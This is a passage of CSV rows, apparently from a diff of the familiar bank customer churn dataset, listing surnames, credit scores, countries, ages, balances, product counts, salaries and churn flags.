+6452,15722583,Benjamin,636,Spain,Female,29,6,157576.47,2,1,1,101102.39,0 +6453,15677243,Wan,538,Spain,Male,43,5,0,2,1,0,126933.73,0 +6454,15815070,Romano,566,Germany,Female,44,5,141428.99,2,0,0,68408.74,0 +6455,15705899,Craig,597,Spain,Male,35,0,127510.99,1,1,1,155356.34,0 +6456,15701522,Yermolayeva,711,France,Female,29,9,0,2,0,1,3234.8,0 +6457,15755978,Tseng,606,France,Male,31,10,0,2,1,0,195209.4,0 +6458,15722090,Tseng,615,Spain,Male,51,6,81818.49,1,1,1,169149.38,0 +6459,15783526,Le Hunte,589,France,Male,36,1,100895.54,1,1,1,68075.14,0 +6460,15632125,Blake,606,Germany,Male,45,5,63832.43,1,1,1,93707.8,0 +6461,15688395,Lane,582,France,Male,29,4,0,2,0,0,156153.27,0 +6462,15666975,Sparks,710,France,Female,36,4,116085.06,1,1,0,58601.61,0 +6463,15682211,Tu,467,France,Male,57,1,0,2,1,1,114448.77,0 +6464,15637411,Tochukwu,749,France,Male,30,1,0,2,0,1,126551.65,0 +6465,15591512,Whittaker,564,Germany,Female,33,2,115761.51,1,0,1,112350.21,1 +6466,15606855,Wang,730,Spain,Male,26,6,0,2,1,1,185808.7,0 +6467,15763683,Northern,678,Germany,Male,32,4,139626.01,1,1,1,118235.52,1 +6468,15641782,Humphries,540,France,Female,31,7,0,1,0,1,183051.6,1 +6469,15677184,Cremonesi,767,France,Female,35,6,115576.44,1,0,1,27922.45,0 +6470,15775042,Ku,615,France,Female,23,4,0,2,1,0,196476.19,0 +6471,15616630,Tobenna,583,Germany,Female,41,5,77647.6,1,1,0,190429.52,0 +6472,15800233,Okwuadigbo,850,France,Female,40,5,0,2,1,0,35034.15,0 +6473,15588419,Johnston,651,Germany,Female,34,10,148962.46,1,1,0,66389.43,1 +6474,15595557,Li,798,France,Male,22,8,0,2,1,0,107615.43,0 +6475,15626143,Talbot,695,France,Male,37,2,0,2,1,1,99692.65,0 +6476,15566030,Tu,497,Germany,Male,41,5,80542.81,1,0,0,88729.22,1 +6477,15701412,T'ien,739,France,Male,40,4,0,2,0,0,173321.65,0 +6478,15702464,Ross,549,France,Female,34,4,0,2,0,0,139463.57,0 +6479,15573348,Maclean,850,France,Male,35,9,102050.47,1,1,1,3769.71,0 +6480,15704160,Wan,648,Spain,Male,49,5,0,1,1,0,149946.43,1 +6481,15693704,Tsou,679,France,Female,24,6,114948.76,2,0,1,135768.25,0 +6482,15664752,Jack,606,Germany,Male,39,8,136000.45,2,1,0,31708.53,0 +6483,15628292,Lucchesi,850,France,Male,32,4,156001.68,2,1,1,151677.31,0 +6484,15621195,Ch'eng,619,Germany,Male,41,3,147974.16,2,1,0,170518.83,0 +6485,15668629,Saunders,719,Spain,Male,44,2,0,2,1,0,196582.19,0 +6486,15635197,Glover,640,Germany,Male,26,5,90402.77,1,1,1,3298.65,0 +6487,15592761,Tung,710,France,Male,40,5,0,2,0,0,162878.96,0 +6488,15574283,Padovano,580,France,Male,31,2,0,2,0,1,64014.24,0 +6489,15598097,Johnstone,550,France,Male,44,9,0,2,1,0,26257.01,0 +6490,15711352,Endrizzi,841,France,Female,31,3,162701.65,2,1,1,126794.56,0 +6491,15620751,Secombe,760,France,Male,34,2,0,2,1,0,164162.44,0 +6492,15656717,Elewechi,687,France,Female,30,6,0,2,0,0,179206.92,0 +6493,15643121,Chu,753,Germany,Female,35,5,82453.96,2,0,0,18254.75,0 +6494,15723671,Lucciano,661,France,Male,35,9,100107.99,1,1,0,83949.68,0 +6495,15752846,Pinto,699,France,Male,28,7,0,2,1,1,22684.78,0 +6496,15640852,McGregor,617,Germany,Female,39,5,83348.89,3,1,0,7953.62,1 +6497,15789313,Ugorji,595,Germany,Female,44,4,96553.52,2,1,0,143952.24,1 +6498,15793688,Bancks,669,France,Male,50,9,201009.64,1,1,0,158032.5,1 +6499,15770405,Warlow-Davies,613,France,Female,27,5,125167.74,1,1,0,199104.52,0 +6500,15702561,Dale,782,France,Male,32,9,0,1,1,1,87566.97,0 +6501,15625964,Buckley,582,France,Female,43,5,153313.67,1,0,0,170563.73,0 +6502,15761364,Nkemjika,679,France,Male,30,9,0,2,1,0,157871.55,0 +6503,15590286,Fairley,611,France,Female,40,2,125879.29,1,1,0,93203.43,0 +6504,15587978,Boothby,455,Germany,Female,37,6,170057.62,1,0,1,54398.56,0 +6505,15773242,Chukwuhaenye,621,France,Male,32,1,0,2,1,1,168779.47,0 +6506,15761053,Lock,596,Germany,Male,48,2,131326.47,1,0,0,1140.02,1 +6507,15702095,Clarke,585,Spain,Female,56,1,128472.8,1,1,0,186476.91,1 +6508,15764253,Ramsey,742,France,Male,32,6,160485.16,1,1,0,29023.03,0 +6509,15700801,Eipper,850,Germany,Male,42,6,84445.68,3,0,1,60021.34,1 +6510,15730590,Ko,738,Germany,Female,40,1,115409.18,2,0,0,180456.8,0 +6511,15643916,Munro,619,Spain,Male,46,8,62400.48,1,1,1,132498.39,1 +6512,15720636,McGregor,628,France,Female,50,4,143054.56,1,0,1,109608.81,1 +6513,15795429,Henderson,487,France,Male,24,7,133628.09,2,1,1,98570.01,0 +6514,15609254,Fernandez,513,Spain,Female,41,9,107135.04,2,1,1,160546.58,0 +6515,15625141,Porter,563,Spain,Male,26,7,0,2,0,0,6139.74,0 +6516,15810898,Pan,803,France,Female,65,2,151659.52,2,0,1,6930.17,0 +6517,15775797,Esposito,607,Spain,Female,32,7,0,3,0,1,10674.62,0 +6518,15795246,Kaeppel,628,Germany,Female,51,9,155903.82,2,1,1,71159.84,0 +6519,15795275,Lamb,521,Spain,Female,49,4,82940.25,2,0,0,62413.01,1 +6520,15571869,Lei,669,Germany,Female,50,4,112650.89,1,0,0,166386.22,1 +6521,15694143,Conti,686,France,Female,41,10,0,1,1,0,133086.45,0 +6522,15748231,Hargreaves,700,Germany,Male,35,4,95853.39,2,1,0,192933.37,0 +6523,15632185,Yermolayev,663,France,Female,42,1,82228.67,2,1,0,71359.78,0 +6524,15806249,Kerr,671,Spain,Female,31,4,0,2,0,1,79270.02,0 +6525,15743293,Waters,651,Germany,Female,35,1,163700.78,3,1,1,29583.48,1 +6526,15598157,Onyeorulu,728,France,Male,34,4,106328.08,1,1,0,88680.65,0 +6527,15700946,Kolesnikova,574,France,Female,34,7,152992.91,1,1,1,134691.2,0 +6528,15722692,Kazakova,464,France,Male,38,3,116439.65,1,1,0,75574.48,0 +6529,15696506,MacDonald,604,Spain,Male,27,9,101352.78,1,0,0,30252.3,0 +6530,15728823,Sharwood,836,Spain,Female,37,10,0,2,1,0,111324.41,0 +6531,15808851,Bufkin,511,Germany,Female,75,9,105609.17,1,0,1,105425.18,0 +6532,15675231,Nwankwo,518,France,Female,45,8,0,2,1,1,36193.07,0 +6533,15732299,Boniwell,756,France,Male,67,4,0,3,1,1,93081.87,0 +6534,15706269,Willis,489,France,Female,47,8,103894.38,2,1,1,107625.46,0 +6535,15590078,Burns,622,Spain,Male,27,9,139834.93,1,1,1,152733.89,0 +6536,15776985,Kung,652,France,Female,36,6,112518.71,2,0,1,110421.31,0 +6537,15756743,Howells,625,France,Female,37,7,115895.42,1,1,0,48486.25,0 +6538,15782364,Bevan,521,Spain,Female,39,3,146408.68,1,0,0,72993.67,0 +6539,15604093,Neitenstein,546,France,Male,34,4,165363.31,2,1,1,25744.13,1 +6540,15749328,Johnson,697,France,Female,45,1,0,2,1,0,46807.62,1 +6541,15656322,Sandover,571,Germany,Male,33,3,71843.15,1,1,0,26772.04,0 +6542,15685564,Nnamutaezinwa,748,Spain,Male,35,5,105492.53,1,1,1,150057.2,0 +6543,15785831,Sinclair,591,France,Male,35,7,183027.25,1,1,1,56028.79,0 +6544,15796218,Wei,814,Germany,Male,29,1,131968.57,2,1,1,147693.92,0 +6545,15716218,Higgins,709,France,Female,45,3,104118.5,1,0,1,174032,0 +6546,15572735,Chang,433,Spain,Male,27,2,0,2,1,1,153698.65,0 +6547,15633840,Henderson,781,France,Male,20,0,125023.1,2,1,1,108301.45,0 +6548,15608760,Cox,656,France,Female,30,4,74323.2,1,1,1,22929.08,0 +6549,15627848,Tsui,683,France,Male,38,7,109346.13,2,1,0,102665.92,0 +6550,15792029,Lee,620,France,Male,32,6,0,2,1,0,56139.09,0 +6551,15617331,Sergeyeva,637,Germany,Female,39,3,109698.41,1,1,1,88391.29,1 +6552,15651740,Napolitani,525,Spain,Female,30,5,0,2,0,1,149195.44,0 +6553,15636407,Beatham,793,Germany,Female,34,5,127758.09,1,1,0,143357.03,0 +6554,15607526,Lu,638,Germany,Male,50,1,102645.48,1,1,0,168359.98,1 +6555,15632576,Yashina,520,France,Male,31,4,93249.4,1,1,0,77335.75,0 +6556,15581505,Bales,641,France,Male,35,5,0,2,1,0,93148.93,0 +6557,15612207,Hill,840,Germany,Female,51,1,87779.83,1,0,1,36687.11,1 +6558,15707242,Ibeamaka,504,Spain,Male,40,5,0,2,0,0,146703.36,0 +6559,15721937,Romilly,686,France,Male,38,0,138131.34,1,0,1,115927.85,0 +6560,15773852,Hayes,533,Germany,Male,38,4,70362.52,2,1,1,104189.46,0 +6561,15719778,Chiu,577,France,Female,32,1,0,2,1,0,9902.39,0 +6562,15650538,Sun,445,Germany,Female,48,7,168286.58,1,1,0,16645.77,1 +6563,15797475,Brennan,720,France,Male,44,3,86102.27,1,1,0,180134.88,1 +6564,15780359,Storey,643,Germany,Male,25,4,115142.9,1,1,1,148098.95,0 +6565,15737104,Lawson,652,Germany,Female,47,0,126597.89,2,1,1,38798.79,1 +6566,15789936,T'ao,663,France,Female,33,2,0,2,1,0,153295,0 +6567,15709523,Yao,525,Germany,Female,30,0,157989.21,2,1,1,100687.67,0 +6568,15593425,Bracewell,662,Spain,Female,54,1,187997.15,1,0,0,111442.71,1 +6569,15776725,Kerr,724,Germany,Male,54,8,172192.49,1,1,1,136902.01,0 +6570,15604706,Blake,581,Germany,Male,38,1,133105.47,1,1,0,105732.9,1 +6571,15790958,Sanders,685,Spain,Male,38,4,0,2,1,1,35884.91,0 +6572,15747534,Torkelson,595,France,Male,46,10,0,1,1,0,73489.15,1 +6573,15574237,Hsueh,588,France,Female,21,8,0,2,1,1,110114.19,0 +6574,15690332,Wang,647,Germany,Male,35,3,192407.97,1,1,1,40145.28,0 +6575,15661290,Hightower,785,Germany,Female,38,9,107199.75,1,0,0,146398.51,0 +6576,15651883,Genovesi,794,Germany,Female,55,6,115796.7,1,1,0,160526.36,1 +6577,15808905,Levan,823,France,Male,37,5,164858.18,1,1,1,173516.71,0 +6578,15715532,Lai,687,Germany,Male,38,4,117633.28,1,0,1,88396.6,0 +6579,15786078,Loginov,850,France,Female,28,9,0,2,1,0,185821.41,0 +6580,15652401,Lafleur,496,France,Female,36,7,0,2,0,0,108098.28,0 +6581,15673074,Obidimkpa,527,Germany,Female,30,6,126663.51,1,1,1,162267.91,0 +6582,15598744,Ch'ang,576,Germany,Female,71,6,140273.47,1,1,1,193135.25,1 +6583,15785975,Mason,525,Spain,Female,60,7,0,2,0,1,168034.9,0 +6584,15613180,Miranda,727,Germany,Male,21,8,153344.72,1,1,1,163295.87,0 +6585,15584229,Simon,671,Germany,Female,23,9,123943.18,1,1,1,159553.27,0 +6586,15773804,Golubeva,625,France,Male,39,5,0,1,1,0,99800.87,0 +6587,15699515,Manfrin,643,Germany,Male,33,7,98630.31,2,1,1,40250.82,0 +6588,15705313,Stange,707,France,Female,33,2,58036.33,1,1,1,83335.78,0 +6589,15693817,Ferrari,539,Spain,Male,28,5,0,2,1,0,48382.4,0 +6590,15673790,Taylor,498,Germany,Male,45,7,109200.74,2,0,1,165990.44,0 +6591,15674868,Wei,696,Spain,Female,30,0,0,2,1,1,9002.8,0 +6592,15692110,Ch'eng,758,France,Female,33,7,0,1,1,0,188156.34,0 +6593,15645904,Parsons,685,France,Female,33,6,0,2,0,1,186785.01,0 +6594,15581332,Pan,655,Germany,Female,30,1,83173.98,2,1,1,184259.6,0 +6595,15808544,Cameron,747,France,Female,40,3,0,1,0,0,57817.84,1 +6596,15734948,Igwebuike,601,Spain,Male,24,7,0,2,0,0,144660.42,0 +6597,15654531,Tuan,477,France,Male,22,5,82559.42,2,0,0,163112.9,1 +6598,15637774,Fraser,558,France,Male,32,5,73494.21,1,0,0,136301.1,0 +6599,15677141,Turnbull,586,Spain,Male,29,2,132450.24,1,1,1,36176.63,0 +6600,15739578,Chiazagomekpere,850,France,Male,49,6,128663.9,1,1,0,65769.3,1 +6601,15697360,Yudina,505,France,Female,36,2,79951.9,1,0,1,174123.16,1 +6602,15655213,Udinese,591,Germany,Female,51,8,132508.3,1,1,1,161304.68,1 +6603,15580872,Chinweike,761,Germany,Female,38,1,120530.13,2,1,0,109394.62,0 +6604,15683213,Bergamaschi,554,France,Female,35,10,74988.59,2,0,1,190155.13,0 +6605,15801188,Milliner,774,France,Female,47,6,94722.88,1,0,1,61450.96,0 +6606,15645029,Knowles,771,Spain,Female,33,5,0,2,1,0,8673.43,0 +6607,15633181,Swinton,792,France,Male,31,6,71269.89,2,0,1,125912.77,0 +6608,15598259,Gregory,673,Germany,Female,41,9,98612.1,1,1,0,151349.35,0 +6609,15576000,Chibueze,765,France,Male,40,6,138033.55,1,1,1,67972.45,0 +6610,15766047,Sukhorukova,748,France,Female,41,2,91621.69,1,1,1,71139.31,0 +6611,15596339,French,422,France,Male,54,3,140014.42,1,0,1,86350.97,0 +6612,15715199,Estrada,568,Spain,Male,27,5,126815.97,2,0,1,118648.12,0 +6613,15615938,Fleming,502,France,Female,64,3,139663.37,1,0,1,100995.11,0 +6614,15679991,Kennedy,524,France,Female,28,7,0,2,0,1,147100.72,0 +6615,15626135,Combes,689,France,Male,34,1,165312.27,1,1,0,155495.63,0 +6616,15792934,Carruthers,661,France,Male,26,8,0,2,0,0,196875.87,0 +6617,15744046,Andrejew,606,Spain,Male,33,8,0,2,1,1,63176.77,0 +6618,15700826,Ko,678,Germany,Female,54,1,123699.28,2,0,1,105221.76,0 +6619,15756301,Daniels,636,Germany,Female,29,3,97325.15,1,0,1,131924.38,0 +6620,15586517,Toscano,647,France,Male,32,5,97041.16,1,1,1,23132.73,0 +6621,15751297,Wilson,732,France,Male,36,5,0,2,1,0,161428.25,0 +6622,15710365,Thomson,646,France,Male,50,0,104129.24,2,1,0,181794.86,1 +6623,15679307,Kazantseva,559,France,Female,43,1,0,1,0,1,86634.3,0 +6624,15610753,Cremonesi,581,France,Male,28,3,104367.5,1,1,1,29937.75,0 +6625,15811036,Ferri,565,France,Male,46,7,135369.71,1,0,1,140130.22,0 +6626,15610912,Ferri,657,Spain,Female,41,6,112119.48,1,1,0,17536.82,0 +6627,15619932,Lombardi,847,France,Male,66,7,123760.68,1,0,1,53157.16,0 +6628,15746199,Eluemuno,558,France,Female,41,6,0,1,1,1,143585.29,1 +6629,15584967,Chiganu,596,Spain,Male,57,6,0,2,1,1,72402,0 +6630,15734365,Hsueh,579,France,Male,39,5,0,2,0,1,39891.84,0 +6631,15726960,O'Brien,741,France,Female,36,3,0,2,1,1,89804.83,0 +6632,15665177,Booth,613,France,Male,44,3,0,2,0,1,136491.72,0 +6633,15779915,O'Loghlin,694,Spain,Male,31,5,0,1,1,0,35593.18,0 +6634,15729110,Lavrov,729,Spain,Female,42,7,0,2,1,0,58268.2,1 +6635,15575399,Somadina,480,France,Female,42,1,152160.21,2,1,0,101778.9,0 +6636,15678374,Colombo,666,France,Female,59,5,0,2,1,1,185123.09,0 +6637,15792679,Troupe,575,France,Male,24,2,0,2,1,1,119927.81,0 +6638,15668767,Kenenna,850,France,Male,36,3,0,2,1,0,195033.07,0 +6639,15761886,Franklin,740,France,Male,36,4,172381.8,1,1,1,86480.29,0 +6640,15583076,Deleon,588,Germany,Male,41,6,106116.56,2,1,0,198766.61,0 +6641,15815615,Kung,681,France,Male,36,5,141952.07,1,1,1,185144.08,0 +6642,15591942,Zito,611,Spain,Female,33,7,0,2,1,1,3729.89,0 +6643,15724924,Giordano,589,France,Female,37,6,138497.84,1,0,1,18988.58,0 +6644,15762123,Davide,717,Spain,Female,34,1,0,2,1,0,119313.74,0 +6645,15567893,Lei,556,Germany,Male,33,3,124213.36,2,1,0,62627.55,0 +6646,15648989,Moss,850,France,Male,37,4,126872.6,1,1,0,197266.58,0 +6647,15662021,Lucciano,685,Spain,Female,42,2,0,2,0,0,199992.48,0 +6648,15691627,Tai,713,France,Female,37,8,0,1,1,1,16403.41,0 +6649,15731751,Osinachi,437,France,Female,26,1,120923.52,1,0,1,78854.57,0 +6650,15635277,Coates,605,Spain,Male,47,7,142643.54,1,1,0,189310.27,0 +6651,15655252,Larionova,758,Germany,Male,41,10,79857.64,1,1,1,78088.17,0 +6652,15803941,Seleznev,600,France,Male,46,10,95502.21,1,0,0,19842.18,0 +6653,15714380,Butcher,827,France,Male,38,5,0,2,0,0,103305.01,0 +6654,15666559,Gould,608,Germany,Male,23,8,197715.93,2,1,1,116124.28,0 +6655,15799998,Cunningham,608,France,Female,30,8,85859.76,1,0,0,142730.27,0 +6656,15703763,Sanderson,554,France,Male,44,7,85304.27,1,1,1,58076.52,0 +6657,15795640,Mai,683,Germany,Female,35,1,132371.3,2,0,0,186123.57,0 +6658,15780056,Reid,660,Spain,Male,33,4,0,1,1,0,29664.45,0 +6659,15777873,Downer,628,France,Female,31,5,0,1,0,0,147963.07,1 +6660,15584749,Humphries,668,Germany,Male,39,4,79896,1,1,0,38466.39,0 +6661,15765258,Bochsa,776,France,Female,29,5,0,2,1,1,143301.49,0 +6662,15623346,Czajkowski,820,France,Male,36,4,0,2,1,0,31422.69,0 +6663,15614054,Pankhurst,665,France,Male,36,1,0,2,0,1,121505.61,0 +6664,15766185,She,850,Germany,Male,31,4,146587.3,1,1,1,89874.82,0 +6665,15667632,Birdseye,703,France,Female,42,7,0,2,0,1,72500.68,0 +6666,15599024,Hope,506,Spain,Male,32,8,0,2,0,1,182692.8,0 +6667,15798709,Gill,588,Spain,Male,32,3,109109.33,1,0,1,4993.94,0 +6668,15741921,Moon,622,Spain,Female,26,8,0,2,1,1,124964.82,0 +6669,15793671,Watt,606,France,Male,34,5,0,1,1,0,161971.42,0 +6670,15797900,Chinomso,517,France,Male,56,9,142147.32,1,0,0,39488.04,1 +6671,15667932,Bellucci,758,Spain,Female,43,10,0,2,1,1,55313.44,0 +6672,15795933,Barese,677,France,Female,49,3,0,2,1,1,187811.71,0 +6673,15660403,Fleming,827,Spain,Female,35,0,0,2,0,1,184514.01,0 +6674,15736299,Bell,729,France,Female,36,8,109106.8,1,0,0,121311.12,0 +6675,15759034,Li Fonti,654,France,Male,36,2,112262.84,1,1,0,12873.39,0 +6676,15724663,Christmas,654,Spain,Female,36,5,0,2,0,0,157238.05,0 +6677,15594556,Chuter,619,Spain,Male,52,8,0,2,1,1,123242.11,0 +6678,15737169,Johnson,642,Spain,Male,26,8,144238.7,1,1,1,184399.76,0 +6679,15632472,Scott,472,Spain,Female,32,1,159397.75,1,0,1,57323.18,0 +6680,15722813,Byrne,470,Spain,Male,30,4,125385.01,1,1,0,68293.93,0 +6681,15588450,Chukwudi,633,France,Female,60,8,69365.25,1,1,1,10288.24,0 +6682,15736717,Ma,602,France,Male,31,7,155271.83,1,1,1,179446.31,0 +6683,15680683,Simmons,640,Spain,Male,29,5,197200.04,2,1,0,141453.62,0 +6684,15710316,Fang,454,Spain,Female,48,5,144837.79,1,1,1,93151.77,0 +6685,15746333,Blake,562,France,Female,57,3,0,3,1,0,6554.97,1 +6686,15606861,Tien,636,France,Male,34,8,0,2,1,0,38570.13,0 +6687,15641285,Yusupova,621,Spain,Male,50,3,163085.79,1,0,1,131048.36,0 +6688,15662908,Davidson,795,Germany,Male,38,7,125903.22,2,1,1,127068.92,0 +6689,15814267,Zhdanova,550,France,Male,22,6,154377.3,1,1,1,51721.52,0 +6690,15614923,Nielson,630,Spain,Male,41,7,107511.52,1,0,1,46156.87,0 +6691,15579223,Niu,573,Germany,Male,30,8,127406.5,1,1,0,192950.6,0 +6692,15651389,Kay,561,Spain,Male,24,8,143656.55,1,0,1,180932.46,0 +6693,15677087,Green,662,France,Female,39,5,138106.75,1,0,0,19596.73,0 +6694,15665784,She,637,France,Male,27,9,128940.24,1,1,0,46786.92,0 +6695,15576706,Ajuluchukwu,651,Germany,Male,37,9,114453.58,1,0,1,175820.91,0 +6696,15615473,Sabbatini,646,France,Female,33,2,0,2,0,0,198208,0 +6697,15587299,Board,567,France,Female,48,3,0,1,1,0,55362.45,0 +6698,15655389,Leckie,638,France,Male,41,1,131762.94,1,1,1,47675.29,0 +6699,15784491,Ho,725,France,Female,31,6,0,1,0,0,61326.43,0 +6700,15809999,Gordon,709,France,Female,41,3,150300.65,2,1,0,71672.86,0 +6701,15681115,Iroawuchi,787,Spain,Male,39,10,108935.39,1,1,1,101168.3,0 +6702,15629390,Liao,653,France,Male,37,7,135847.47,1,1,0,144880.81,0 +6703,15792668,Hamilton,661,Germany,Male,37,7,109908.06,2,1,0,115037.67,1 +6704,15583863,Chimaobim,681,Germany,Male,49,8,142946.18,1,0,0,187280.51,1 +6705,15681878,Fan,436,Germany,Male,45,3,104339.11,2,1,1,183540.22,1 +6706,15782875,Cayley,663,France,Male,33,5,157274.36,2,1,1,28531.81,0 +6707,15732235,Kuykendall,662,France,Male,64,0,98848.19,1,0,1,42730.12,0 +6708,15735909,McDonald,607,Germany,Female,39,8,105103.33,1,1,0,104721.5,1 +6709,15653448,Duncan,754,France,Male,34,7,0,2,1,1,65219.85,0 +6710,15587647,Browne,850,Germany,Female,66,0,127120.62,1,0,1,118929.64,1 +6711,15701037,Barton,578,France,Male,39,2,0,2,1,0,70563.9,0 +6712,15727499,Boyle,666,Germany,Female,36,3,129118.5,2,0,0,139435.12,0 +6713,15724838,Moretti,599,France,Female,43,4,0,1,1,0,170347.1,0 +6714,15666711,Ukaegbulam,586,France,Female,46,0,0,3,0,1,131553.82,1 +6715,15588933,Nwankwo,825,France,Female,36,3,146053.66,1,1,1,138344.7,0 +6716,15763111,Niu,808,Spain,Female,67,10,124577.15,1,0,1,169894.4,0 +6717,15805676,Hsu,515,Spain,Male,29,4,151012.55,2,1,0,9770.97,0 +6718,15586674,Shaw,663,Spain,Female,58,5,216109.88,1,0,1,74176.71,1 +6719,15744553,Ho,444,France,Male,34,2,144318.97,1,1,0,112668.06,0 +6720,15776629,Christie,650,France,Female,39,4,0,2,0,0,186275.7,0 +6721,15647207,Onwuemelie,609,France,Male,26,7,0,2,1,0,98463.99,0 +6722,15715638,Ch'ang,824,Germany,Male,77,3,27517.15,2,0,1,2746.41,0 +6723,15750602,Clendinnen,662,France,Male,29,5,147092.65,1,1,0,10928.3,0 +6724,15766810,Onyemauchechi,699,Germany,Female,51,2,92246.14,2,0,1,91346.03,0 +6725,15756625,Crawford,752,France,Female,41,8,0,2,1,0,139844.04,1 +6726,15639552,Mellor,603,Germany,Female,40,8,148897.02,1,0,0,105052.9,0 +6727,15633213,Rizzo,628,Spain,Male,50,8,0,1,0,0,144366.83,1 +6728,15610416,Christie,745,France,Female,36,9,0,1,1,0,19605.18,1 +6729,15715208,Watkins,804,Germany,Female,33,10,138335.96,1,1,1,80483.76,0 +6730,15619608,Ojiofor,454,Germany,Female,50,10,92895.56,1,1,0,154344,1 +6731,15628697,Tung,631,Spain,Male,46,9,160736.63,1,0,1,93503.02,0 +6732,15643826,McKay,503,France,Male,32,4,0,2,1,1,153036.97,0 +6733,15718588,Meng,548,France,Female,37,9,0,2,0,0,98029.58,0 +6734,15709741,Hussain,668,France,Male,28,4,107141.27,1,1,0,193018.71,0 +6735,15723318,Mactier,619,France,Female,55,0,0,3,0,0,60810.64,1 +6736,15717328,Hsueh,842,France,Female,37,4,132446.08,2,1,0,87071.18,1 +6737,15771299,Nnachetam,707,France,Female,57,1,92053,1,1,1,164064.44,1 +6738,15706223,Barnes,715,Spain,Male,38,2,96798.79,2,1,1,4554.67,0 +6739,15612358,Christie,573,Germany,Male,35,9,134498.54,2,1,1,119924.8,0 +6740,15769191,Lipton,509,France,Male,55,8,132387.91,2,1,1,170360.11,0 +6741,15618816,Yu,670,Germany,Female,40,2,147171.2,1,0,1,69850.04,0 +6742,15730810,Storey,613,Spain,Male,44,9,100524.69,1,1,1,47298.95,0 +6743,15783463,Read,678,France,Female,26,1,0,2,1,0,45443.68,0 +6744,15616213,Levy,555,Germany,Female,51,9,138214.5,1,1,0,198715.27,1 +6745,15611287,Chiu,777,France,Female,30,4,0,2,0,1,115611.97,0 +6746,15786454,Moore,552,Spain,Male,55,3,0,1,1,1,40333.94,0 +6747,15768682,Amies,640,Spain,Male,39,3,0,1,1,1,105997.25,0 +6748,15766172,Tsao,541,France,Male,34,3,128743.55,1,1,0,134851.12,0 +6749,15637646,Rowley,756,France,Male,31,10,122647.32,1,0,0,61666.87,0 +6750,15653404,Aliyev,684,Spain,Female,24,9,79263.9,1,0,1,196574.48,0 +6751,15690546,Riley,618,France,Female,42,2,0,4,0,0,111097.39,1 +6752,15735636,Toscano,604,France,Female,53,2,121389.78,1,1,1,48201.64,1 +6753,15605424,Oluchukwu,624,Spain,Male,38,7,123906.55,1,1,0,135096.78,0 +6754,15568449,Fu,661,Spain,Male,38,7,143006.7,1,1,1,15650.89,0 +6755,15688085,Warner,627,Spain,Female,28,3,157597.61,1,0,1,34097.22,0 +6756,15683483,Fleming,812,Spain,Male,38,3,127117.8,2,1,1,174822.74,0 +6757,15659567,Ch'iu,473,France,Female,39,9,117103.26,2,1,1,85937.52,1 +6758,15766667,Langler,717,Spain,Male,36,2,102989.83,2,0,1,49185.57,0 +6759,15624975,Angelo,693,Spain,Male,28,1,145118.83,1,0,1,77742.38,0 +6760,15660878,T'ien,705,France,Male,92,1,126076.24,2,1,1,34436.83,0 +6761,15586557,Milani,661,France,Male,41,5,0,1,0,1,88279.6,0 +6762,15746183,Pye,573,France,Female,27,4,0,2,1,1,157549.6,0 +6763,15631457,Asher,639,France,Male,37,5,98186.7,1,0,1,173386.95,0 +6764,15754053,Chung,718,France,Female,67,7,0,3,1,1,82782.08,0 +6765,15645839,Yudin,570,France,Male,37,6,0,1,1,1,187758.5,0 +6766,15689955,Arcuri,461,France,Female,40,7,0,2,1,0,176547.8,0 +6767,15593510,Capon,638,Germany,Female,33,5,129335.65,1,1,1,56585.2,1 +6768,15654964,Piccio,608,Spain,Male,48,7,75801.74,1,1,0,125762.95,0 +6769,15594039,Lung,599,Spain,Male,42,6,0,2,1,0,113868.4,0 +6770,15625929,Trevisan,762,France,Female,44,7,159316.64,1,0,0,24780.13,0 +6771,15815295,John,662,France,Female,38,2,96479.81,1,1,0,120259.41,0 +6772,15621818,Anayolisa,747,Germany,Male,29,7,117726.33,1,1,1,175398.34,0 +6773,15652700,Ritchie,539,France,Male,39,6,0,2,1,1,86767.48,0 +6774,15636860,Ch'eng,625,France,Male,43,4,122351.29,1,1,0,71216.6,0 +6775,15569432,Macleod,656,France,Female,48,9,0,2,1,1,85240.61,1 +6776,15751455,Boyle,469,France,Female,48,5,0,1,1,0,160529.71,1 +6777,15800583,Chukwuemeka,621,Spain,Female,43,8,0,1,0,0,102806.6,0 +6778,15770214,Bryant,754,France,Female,27,7,0,2,1,0,144134.64,0 +6779,15613463,Hackett,679,Germany,Female,50,6,132598.38,2,1,1,184017.98,0 +6780,15587066,Kovaleva,535,France,Male,38,2,119272.29,1,0,0,195896.59,1 +6781,15693752,Reed,487,France,Male,37,2,0,2,1,1,126722.57,0 +6782,15714874,Major,850,France,Female,42,3,0,2,1,1,176883.42,0 +6783,15657809,Lo,585,France,Male,55,10,106415.57,3,1,1,122960.98,1 +6784,15651955,Hanson,603,France,Male,31,4,0,2,0,1,9607.1,0 +6785,15570912,Ogbonnaya,728,Germany,Female,32,9,127772.1,2,1,1,152643.48,0 +6786,15640266,Windsor,621,Spain,Male,41,5,104631.67,1,1,1,95551.22,0 +6787,15652069,Calabrese,833,France,Male,30,1,0,2,1,0,141860.62,0 +6788,15596074,Keating,502,France,Male,37,10,0,1,1,1,76642.68,0 +6789,15800268,Costa,825,Germany,Male,37,6,118050.79,1,0,1,52301.15,0 +6790,15809847,Tan,668,France,Male,46,0,0,2,0,0,29388.02,0 +6791,15599074,Ma,487,Spain,Female,40,6,136093.74,1,0,1,193408.43,0 +6792,15599591,Martin,600,Germany,Female,39,7,88477.36,2,1,0,58632.37,0 +6793,15776096,Halpern,606,Spain,Male,34,3,161572.24,1,0,1,191076.22,0 +6794,15611669,Nyhan,623,Germany,Male,50,7,126608.37,1,0,1,645.61,1 +6795,15694098,Jackson,575,France,Female,54,9,68332.96,1,1,1,144390.75,0 +6796,15713347,Reynolds,577,Spain,Male,48,6,179852.26,1,1,0,193580.32,0 +6797,15713094,Tai,651,France,Female,25,8,0,2,1,1,126761.2,0 +6798,15811978,Trevisani,693,Germany,Male,46,2,104763.41,1,1,1,62368.33,0 +6799,15799925,Uwakwe,800,France,Male,60,6,88541.57,2,1,1,131718.12,0 +6800,15692575,Kerr,760,France,Male,38,6,162888.73,1,1,0,91098.76,1 +6801,15743149,Findlay,711,France,Female,35,8,0,1,1,1,67508.01,0 +6802,15776947,Ugorji,637,Spain,Male,43,8,0,1,1,0,12156.93,1 +6803,15700656,Balashova,662,France,Male,32,9,0,2,0,0,65089.38,0 +6804,15594515,Cheng,568,France,Female,44,7,0,2,0,0,62370.67,1 +6805,15787884,Martin,692,France,Female,30,7,0,2,1,1,18826.34,0 +6806,15577988,Skinner,614,France,Female,35,1,0,2,1,1,3342.62,0 +6807,15795586,McDonald,478,France,Male,35,1,92474.05,1,1,0,178626.07,0 +6808,15677739,Dellucci,562,France,Male,36,6,0,2,1,0,32845.32,0 